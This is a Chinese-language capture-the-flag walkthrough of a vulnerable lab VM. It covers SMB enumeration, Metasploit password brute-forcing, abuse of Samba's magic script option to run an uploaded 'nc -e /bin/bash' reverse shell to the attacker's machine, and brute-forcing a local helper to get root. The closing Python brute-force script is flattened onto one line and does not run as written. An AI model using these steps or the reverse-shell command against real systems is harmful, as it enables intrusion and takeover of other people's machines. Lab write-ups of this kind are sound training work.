搭建这个靶场的时候IP地址搜不到,经查阅发现是配置文件中网卡名称有问题,参考https://blog.csdn.net/qq_41918771/article/details/103636890进行修改。

 

先nmap一下:

 

 

 开放了http服务和smb服务,那么针对smb,使用enum4linux进行信息收集:

enum4linux 192.168.190.164 -a

找到一个用户名albert:

 

 

 以及共享文件:

 

 

 目前没有其他可以利用的信息,那么试着对smb进行爆破:

msf6 > use auxiliary/scanner/smb/smb_login

选项设置如下:

 

 

 run进行爆破,并获得用户名-密码为albert-bradley1:

使用smbclient进行smb文件访问:

smbclient //192.168.190.164/smbshare -U albert

 

 

 但是里面很多命令都被禁止了,那么直接在kali端使用文件系统进行访问:

 

 

 然后拖拽到本地,查看,可以看到对于我们正在访问的smbshare而言,有一个magic script,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件:

 

 

 那么就可以自己写一个smbscript.sh,里面是一段反弹shell,然后上传到smb服务器:

echo "nc -e /bin/bash 192.168.190.150 9999" > smbscript.sh 

将smbscript.sh put上去

 

 

 然后成功监听到了反弹shell:

 

查找可以用来提权的文件:

 

 

 这个/home/albert/beroot应该是一个可以利用的文件,运行一下试试:

 

 

 看来是一个用来猜解root密码的文件,但是没有字典文件提供。

回想这个服务器还开放了HTTP服务,dirb一下:

 

 

 存在robots.txt,进去看看:

 

 

 发现一张图片,下载下来,使用stegoveritas进行分析(https://github.com/bannsec/stegoVeritas):

stegoveritas crossroads.png 

并在分析结果的/results/keepers中发现有一个文件其实就是字典文件:

 

 

 将该文件写入passwords.txt:

cat 1618375369.272224-f46a4fa787ba43cb11e9d00e6a6f83d4 > /root/passwords.txt

然后通过smb把passwords.txt上传上去:

 

 

 把passwords.txt拷贝到/home/albert中,然后直接在shell中执行命令:

for i in $(cat passwords.txt);
do echo $i|./beroot;
done

 

 

进行暴力破解,

可以看到最后生成了一个rootcreds,里面应该就是root的密码:

 

 

 直接su root,提权成功:

 

 

 获得最后的flag:

 

 

 其实还有一个flag在albert的用户文件夹下,不过之前没注意:

 

 

 之前暴力猜解beroot程序的过程也可以通过python脚本实现:

/usr/bin/python3
//参考:https://www.sec-in.com/article/1009
import subprocess import os import time import sys path = '/usr/bin/echo' content = "wrong password!!" blank = " " executable = "beroot" def broot(): os.system("export TERM=xterm") with open("passwords.txt","r",encoding="ISO-8859-1") as file: words = file.read().splitlines() //读取字典条目 for word in words: //遍历字典 execute = subprocess.getoutput(path + blank + (str(word)) + " | ./" + executable) //利用getoutput函数执行系统命令,运行beroot,并返回执行结果 print(execute) if content not in execute: print("[!]Password:" + word) //打印正确密码 sys.exit(0) broot()

 

参考:

https://www.sec-in.com/article/1009